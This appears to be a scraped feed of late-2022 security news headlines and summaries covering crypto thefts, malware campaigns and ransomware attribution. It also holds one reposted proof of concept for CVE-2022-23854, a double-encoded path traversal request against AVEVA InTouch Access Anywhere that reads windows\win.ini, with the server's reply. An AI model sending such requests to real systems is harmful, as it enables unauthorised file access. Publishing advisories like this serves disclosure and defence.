Hacking on Medium
Over $3B Digital Assets Stolen in 2022

https://cdn-images-1.medium.com/max/2048/1*65_TRFXFvTn7gP9qWKfBcQ.jpeg
If 2022 is a hard year for crypto, it’s paradoxically the best one for hacks, according to Chainalysis. While the market slows and the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Why CVE Management as a Primary Strategy Doesn't Work

With only about 15% of vulnerabilities actually exploitable, patching every vulnerability is not an effective use of time.

Dark Reading: Attacks/Breaches
Okta Launches New Workforce Identity Cloud

Okta Worforce Identity Cloud has all three identity functions – identity access management, identity governance, and privilege access management – under the hood.

Dark Reading: Attacks/Breaches
RomCom Malware Woos Victims With 'Wrapped' SolarWinds, KeePass Software

An analysis of the RomCom APT shows the group is expanding its efforts beyond the Ukrainian military into the UK and other English-speaking countries.

Dark Reading: Attacks/Breaches
Detecting Malicious User Behavior Within and Across Applications

The solution lies in analyzing sequences of activities as user journeys, instead of analyzing each activity on its own.

Dark Reading: Attacks/Breaches
W4SP Stealer Stings Python Developers in Supply Chain Attack

Threat actors continue to push malicious Python packages to the popular PyPI service, striking with typosquatting, authentic sounding file names, and hidden imports to fool developers and steal their information.

Dark Reading: Attacks/Breaches
Build Security Around Users: A Human-First Approach to Cyber Resilience

Security is more like a seat belt than a technical challenge. It's time for developers to shift away from a product-first mentality and craft defenses that are built around user behaviors.

Dark Reading: Attacks/Breaches
Calamu Partners With Wasabi Technologies to Deliver Cloud Storage Vaults

Companies combine award-winning data security with the hot cloud storage service.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Oreo Giant Mondelez Settles NotPetya 'Act of War' Insurance Suit

The settlement muddies the waters even further for the viability of war exclusion clauses when it comes to cyber insurance.

Dark Reading: Attacks/Breaches
Simplilearn and the University of California, Irvine Division of Continuing Education Partner for a Cybersecurity Boot Camp

The boot camp is for aspiring security analysts, network consultants, and penetration testers.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
NCSC Implements Vulnerability Scanning Program Across UK

The cybersecurity agency announced it intends to scan all Internet-connected devices hosted in the UK for known vulnerabilities.

Dark Reading: Attacks/Breaches
FIN7 Cybercrime Group Likely Behind Black Basta Ransomware Campaign

Several artifacts from recent attacks strongly suggest a connection between the two operations, researchers say.

From Shodan Dork to Grafana Local File Inclusion

Hi readers 📖, This is my new article on local file inclusion I found using shodan recon and further exploiting grafana service.Continue reading on Medium »
Read more...

Exploit Collector
AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 Path Traversal

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 suffers from a path traversal vulnerability.

SHA-256 | a78de92013681ef6d9eab5f28cda6712397f5a30d67a7a27854785925a87f96a

Download
Exploit Title: AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal
Exploit Author: Jens Regel (CRISEC IT-Security)
Date: 11/11/2022
CVE: CVE-2022-23854
Version: Access Anywhere Secure Gateway versions 2020 R2 and older

Proof of Concept:
GET
/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini
HTTP/1.1

HTTP/1.1 200 OK
Server: EricomSecureGateway/8.4.0.26844.*
(..)

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Open Web Analytics 1.7.3 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video